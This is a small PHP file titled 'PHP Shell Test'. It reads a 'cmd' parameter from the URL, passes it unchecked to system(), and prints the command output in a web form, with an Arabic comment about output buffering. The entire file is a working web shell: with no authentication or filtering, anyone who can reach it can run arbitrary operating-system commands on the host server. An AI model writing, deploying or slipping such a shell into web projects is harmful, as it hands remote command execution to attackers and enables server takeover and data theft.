<?php
ini_set('display_errors', '1');
error_reporting(E_ALL);

$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : '';

echo "<h3>PHP Shell Test</h3>";
echo "<form method='GET'><input type='text' name='cmd' value='" . htmlspecialchars($cmd) . "' style='width:300px;'><button type='submit'>Run</button></form>";

if (!empty($cmd)) {
    echo "<p>Executing: <b>" . htmlspecialchars($cmd) . "</b></p>";
    echo "<pre style='background:#f4f4f4; padding:10px;'>";
    
    // استخدام output buffering لالتقاط أي مخرجات
    ob_start();
    system($cmd, $return_code);
    $output = ob_get_clean();
    
    echo htmlspecialchars($output);
    echo "\n[Return Code: $return_code]";
    echo "</pre>";
}
?>